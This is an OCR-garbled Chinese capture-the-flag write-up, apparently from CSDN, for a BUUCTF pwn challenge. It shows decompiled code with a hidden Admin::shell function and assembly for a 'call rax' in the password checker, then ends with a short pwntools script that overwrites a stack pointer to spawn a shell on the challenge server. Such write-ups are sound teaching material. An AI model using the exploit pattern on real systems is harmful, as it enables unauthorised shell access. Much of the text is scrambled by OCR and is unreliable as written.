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int _ cdecl main(int argc, const char **argv, const char **envp)

_int6d (*v3)(); // rax
const char *v4; [/ r
const char *v5; // r
__int64 *v7; // [rsp+l
char v8; // [rsp+2
char VS[S]; // [rsp+Dol
char v1@; // [rsp+E@h] [
unsigned _ int64 v11; //

[rsp+128h] [rbp-18h]

vll = _ readfsqword(ex28u);
setbuf(stdnut eLL);

strepy(v9, "2jctf_paSswlrd");
memset(& /10, @, 8x4QuLL);

Admin: :Admin((Admin *)&v8, "admin", v9);

puts(
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printf("Please enter username: ", "admin");
User::read_name((User *)&login);
pr‘lntf( Please enter password: ");
3 = main: {lambda(vnld)ﬁl} uperator vuld (*)(void) const();
7 assword_checker((void (*)(void))v3
User::read_password((User >)&1agln),
vd = (const char *)User::get_password((User *)&vg);
= (const char *)User::get_password((User *)&login);
password_checker(void (*)(void))::{lambda(char const*,char const*®)#1}::operator() const(
(void (_ fastcall **¥)(char *))&v7,
v5

7
vA);
return @;

ng symbols found in
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BRI P A MR, PR E Y SR
41 maines X

12| w1l =  readfsqword(@x28u);

13| setbuf(stdout, @LL);

14| [strcpy (v, "2Jctt_pabswdrd); |

15 memset(&vit, @, @x40ull);

16 [Admln..Admin((Acmi“ *Y&vB, "admin”,
17| puts(

1Admin * fastcall Admin::Admin(Admin *this, const char *a2, const char *a3)

£

il

2| Admin *result; // rax

4

5| User::User(this, a2, a3);

6| result = th

7

8| return resu
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itation fault.

LEGEND: 1 WX | RODATA

RAX

RBX THEfffffo
RCX

RDX @x@

RDI

RSI

eI
1fint _ fastcall Admin::shell(Admin *this)
24
3| puts("Congratulations!™);
4| return system("/bin/sh");
51
CSDN @loves| ik

FEH 1 shell, 3T RAIMNEATEFH2)X KL
HRECRZAL T — REEE R, E%E T JLANITE R writeup
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muv UL, Tas -
call _puts

mov rax, [rbp+var_68]
mov rax, [rax]

mov rax, [rax]
[call rax
Jmp short loc_400A62 CSDN @loves|sid

71 F password_checkerit £ 1) — IS A 2 ek 20 A 1 call rax

WA rax L1 N A e alshell pg 20 F 7e i sthhl,  FRATHE B 23k A shell
WM & #{Evar 18ME L F] T raxE

mov rbp, rsp

mov [rbp+var_18], rdi

mov [rbp+var 8], ©

ea rax, [rbp+var_18] I

op rbp CSDN @loves)sff

Xk, AT P 44 admind i i A\ S i shell kS5 Avar_18, il:password checkeris i B 4%
i FH shell e% %5k G 3K 15 shell

i Fread_passwordiki$l, FF|#isHivar_187Ek L5 1i

|-6P0P0ERBEAVERDE6E S db 8 dup(?)
-9200000A00200A58 var_58 dq ?
-000PAPAARRERRASD var_ 50 dq ?
-9200000000200048 var_A8 dq ?
-000000PANNRORAL0 var_ 40 dq ?
-0200000200200038 var_38 dq ?
-000000EAANRORA30 var_30 dq ?
-0200000000200028 var_28 dq ?
-000000EAANRORA20 var_20 dq ? ‘
-000000PA0ARRR18 var_18 dq ? - N v
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from pwn import *

p=remote("node4.buuoj.cn",29033)

context.log _level = 'debug'

p.sendline("admin")# & %A\ " Zadmin
payload=b"2jctf_pa5sword"+b"\00"*(0x60-0x18-14)+p64 (0x400e88)#1L N %0 F\ 00 /T H 7T i shell 5 Avar_ 18+
p.sendline(payload)

p.interactive()
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